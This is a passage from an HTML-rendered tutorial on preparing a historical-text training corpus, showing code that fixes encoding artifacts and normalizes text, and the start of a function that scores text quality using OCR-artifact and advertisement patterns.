&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;â€œ&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Smart quote left&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;â€&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,   &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Smart quote right&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;â€&amp;#34;&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;—&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Em dash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;â€¢&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;•&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Bullet point&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;â€¦&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;…&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Ellipsis&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; old, new &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; encoding_fixes&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(old, new)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Normalize Unicode (NFC)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; unicodedata&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;normalize(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;NFC&amp;#39;&lt;/span&gt;, text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Break long lines for training compatibility (max 2000 chars)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lines &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    normalized_lines &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; lines:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(line) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2000&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Split at sentence boundaries&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;(?&amp;lt;=[.!?])\s+&amp;#39;&lt;/span&gt;, line)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            current_line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; sentence &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; sentences:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(current_line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; sentence) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2000&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_line:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        normalized_lines&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(current_line&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    current_line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; sentence
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    current_line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; sentence &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_line &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; sentence
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; current_line:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                normalized_lines&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(current_line&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            normalized_lines&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(line)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Normalize line endings and whitespace&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(normalized_lines)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sub(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;[ \t]+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;, text)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Multiple spaces/tabs to single space&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sub(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\n\s*\n&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;, text)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Multiple newlines to double newline&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 6: Text Normalization Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Real Example - Before Normalization:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The year was 1666, and the plague had come to London. â€œIt was indeed a very terrible time,â€ wrote one observer. The streets were filled with the sounds of horse-drawn carriages and the cries of the afflicted.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;After Normalization:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The year was 1666, and the plague had come to London. &amp;#34;It was indeed a very terrible time,&amp;#34; wrote one observer. The streets were filled with the sounds of horse-drawn carriages and the cries of the afflicted.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;224-stage-4-quality-validation&#34;&gt;2.2.4 Stage 4: Quality Validation&lt;/h4&gt;
&lt;p&gt;Not all extracted text is suitable for training. Some files contain duplicates, non-English content, or poor-quality text that would degrade model performance. We need a comprehensive validation system that ensures only high-quality, relevant text is included in our training corpus.&lt;/p&gt;
&lt;p&gt;The key challenge is striking a balance between quality standards and historical value. A strict approach might reject valuable historical documents that have some OCR issues, while a lenient approach might include too much low-quality content, which can degrade model training. To address this, I implemented a &lt;strong&gt;tiered quality threshold system&lt;/strong&gt; that applies different standards based on content type:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;General Content&lt;/strong&gt;: 200+ chars, 50+ words, 50% meaningful words&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Project Gutenberg&lt;/strong&gt;: 200+ chars, 50+ words, 40% meaningful words (relaxed for historical value)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Historical Documents&lt;/strong&gt;: 1000+ chars, 100+ words, 30% meaningful words (very relaxed for historical value)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This tiered approach ensures that we capture valuable historical content while maintaining quality standards, filtering out duplicates, non-English content, and low-quality text, thereby preserving the integrity of useful historical documents. Again, these implementations are quite simple, in the context of a toy project, but can be made more robust. The code itself is quite straightforward, as shown in &lt;a href=&#34;#listing7&#34; class=&#34;listing-ref&#34;&gt;Listing 7&lt;/a&gt;.&lt;/p&gt;
&lt;figure id=&#34;listing7&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;analyze_text_quality&lt;/span&gt;(text: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;, source_type: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;general&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;dict&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Analyze text quality and determine if it should be included in training corpus&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;hashlib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Length validation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    char_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    word_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# OCR artifact detection using regex patterns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ocr_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;long_capitals&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;[A-Z]{5,}\s+[A-Z]{5,}&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;spaced_letters&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\b[A-Za-z]\s+[A-Za-z]\s+[A-Za-z]\s+[A-Za-z]\b&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;special_chars&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;[!@#$%^&amp;amp;*()]{3,}&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;mixed_alphanumeric&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\b\d+[A-Za-z]+\d+\b&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;long_non_word&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;[^\w\s]{10,}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ocr_issues &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; pattern_name, pattern &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; ocr_patterns&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;search(pattern, text):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ocr_issues&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(pattern_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Advertisement detection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ad_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;this day is published&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;just ready&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;elegantly bound&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;now ready&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;new novels&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;advertisements&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;price \d+s&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;paternoster row&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;corner of&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;publishers&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ad_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;sum&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; pattern &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; ad_patterns &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;search(pattern, text, re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;IGNORECASE))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ad_density &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ad_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;max&lt;/span&gt;(word_count, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Meaningful word ratio calculation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    words &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    meaningful_words &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [w &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; w &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; words &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; w&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;isalpha() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(w) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    meaningful_ratio &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(meaningful_words) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;max&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(words), &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Quality thresholds based on source type&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    thresholds &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
